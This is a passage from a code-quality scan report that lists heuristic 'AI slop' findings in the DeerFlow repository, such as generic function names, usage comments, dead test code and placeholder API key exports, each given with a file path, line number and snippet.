LOWskills/public/vercel-deploy-claimable/scripts/deploy.sh191 # Check if this is a static HTML project (no package.json)COMMENT
Synthetic Comment Markers7 hits · 35 pts
SeverityFileLineSnippetContext
HIGH…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json550 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
HIGH…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json53 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
HIGH…reads/f4125791-0128-402a-8ca9-50e0947557e4/thread.json52 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
HIGH…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1637 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
HIGH…reads/5aa47db1-d0cb-4eb9-aea5-3dac1b371c5a/thread.json204 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
HIGH…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json847 "content": "# The Leica Master's Eye: Capturing the Decisive Moment in the Age of AI\n\n*By DeerFlow 2.0 |CODE
HIGH…reads/c02bb4d5-4202-490e-ae8f-ff4864fc0d2e/thread.json52 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
AI Structural Patterns32 hits · 27 pts
SeverityFileLineSnippetContext
LOWbackend/app/channels/manager.py985CODE
LOWbackend/tests/test_summarize_checkpoint_production.py25CODE
LOWbackend/tests/test_dingtalk_channel.py48CODE
LOWbackend/tests/test_authorization_provider.py206CODE
LOWbackend/tests/test_model_factory.py28CODE
LOWbackend/tests/test_memory_tools.py30CODE
LOWbackend/packages/harness/deerflow/client.py164CODE
LOWbackend/packages/harness/deerflow/subagents/executor.py449CODE
LOWbackend/packages/harness/deerflow/runtime/goal.py270CODE
LOW…kend/packages/harness/deerflow/runtime/runs/manager.py1424CODE
LOW…kend/packages/harness/deerflow/runtime/runs/manager.py1496CODE
LOW…packages/harness/deerflow/runtime/runs/store/memory.py35CODE
LOW…packages/harness/deerflow/runtime/runs/store/memory.py391CODE
LOW…d/packages/harness/deerflow/runtime/runs/store/base.py54CODE
LOW…d/packages/harness/deerflow/runtime/runs/store/base.py174CODE
LOW…d/packages/harness/deerflow/runtime/runs/store/base.py200CODE
LOW…d/packages/harness/deerflow/runtime/runs/store/base.py334CODE
LOW…d/packages/harness/deerflow/runtime/runs/store/base.py384CODE
LOWbackend/packages/harness/deerflow/agents/factory.py66CODE
LOW…gents/memory/backends/deermem/deermem/core/eviction.py157CODE
LOW…w/agents/middlewares/tool_error_handling_middleware.py325CODE
LOW…d/packages/harness/deerflow/agents/lead_agent/agent.py457CODE
LOW…/packages/harness/deerflow/agents/lead_agent/prompt.py1021CODE
LOW…arness/deerflow/persistence/channel_connections/sql.py110CODE
LOW…ckend/packages/harness/deerflow/persistence/run/sql.py92CODE
LOW…ckend/packages/harness/deerflow/persistence/run/sql.py328CODE
LOW…ckend/packages/harness/deerflow/persistence/run/sql.py387CODE
LOW…ckend/packages/harness/deerflow/persistence/run/sql.py677CODE
LOW…s/deerflow/community/browserless/browserless_client.py176CODE
LOW…kages/harness/deerflow/community/image_search/tools.py15CODE
LOWscripts/wizard/writer.py176CODE
LOWscripts/wizard/writer.py258CODE
Dead Code13 hits · 22 pts
SeverityFileLineSnippetContext
MEDIUMbackend/tests/test_subagent_executor.py2761CODE
MEDIUMbackend/tests/test_subagent_executor.py1366CODE
MEDIUMbackend/tests/test_artifacts_router.py316CODE
MEDIUMbackend/tests/test_run_worker_delivery.py505CODE
MEDIUMbackend/tests/test_extension_task_lifecycle.py199CODE
MEDIUMbackend/tests/test_extension_task_lifecycle.py303CODE
MEDIUMbackend/tests/test_run_worker_rollback.py937CODE
MEDIUMbackend/tests/test_run_worker_rollback.py1010CODE
MEDIUMbackend/tests/test_worker_langfuse_metadata.py41CODE
MEDIUMbackend/tests/test_channels.py2237CODE
MEDIUMbackend/tests/test_threads_router.py491CODE
MEDIUMbackend/tests/test_threads_router.py521CODE
MEDIUMbackend/tests/test_gateway_run_drain_shutdown.py264CODE
Magic Placeholder Names3 hits · 15 pts
SeverityFileLineSnippetContext
HIGHbackend/README.md193export OPENAI_API_KEY="your-api-key-here"CODE
HIGHbackend/CONTRIBUTING.md52export OPENAI_API_KEY="your-api-key"CODE
HIGHbackend/README_zh.md192export OPENAI_API_KEY="your-api-key-here"CODE
Example Usage Blocks7 hits · 10 pts
SeverityFileLineSnippetContext
LOWscripts/check_chart_sandbox_service.sh17# Usage:COMMENT
LOWscripts/bump_version.sh4# Usage:COMMENT
LOWscripts/check_config_version.sh12# Usage:COMMENT
LOWscripts/verify_versions.sh9# Usage:COMMENT
LOWscripts/serve.sh5# Usage:COMMENT
LOWskills/public/claude-to-deerflow/scripts/chat.sh4# Usage:COMMENT
LOWskills/public/claude-to-deerflow/scripts/status.sh4# Usage:COMMENT
Overly Generic Function Names10 hits · 8 pts
SeverityFileLineSnippetContext
LOWbackend/tests/test_subagent_executor.py1970 def execute_task(task_id: int):CODE
LOWbackend/tests/test_detect_blocking_io_static.py799 def helper(x=time.sleep(1)):CODE
LOWbackend/tests/test_detect_blocking_io_static.py1010 def helper(x: os.listdir(".")) -> os.listdir("."):CODE
LOWbackend/tests/test_detect_blocking_io_static.py1032 def helper(callback=lambda: os.listdir(".")):CODE
LOWbackend/tests/test_detect_blocking_io_static.py1054 def helper(callback=lambda flag=os.listdir("."): flag):CODE
LOWbackend/tests/test_detect_blocking_io_static.py1081 def helper(items=(os.listdir(x) for x in [1])):CODE
LOWbackend/tests/test_detect_blocking_io_static.py1103 def helper(items=(x for x in os.listdir("."))):CODE
LOWbackend/tests/test_detect_blocking_io_static.py1286 def helper(flag=(lambda: os.listdir("."))()):CODE
LOWbackend/tests/test_detect_blocking_io_static.py218 def helper():STRING
LOWbackend/tests/test_review_changed_public_skills.py165 (skill_dir / "scripts" / "helper.py").write_text("def helper():\n return 1\n", encoding="utf-8")CODE
Slop Phrases2 hits · 4 pts
SeverityFileLineSnippetContext
LOW…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json53 "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | StCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE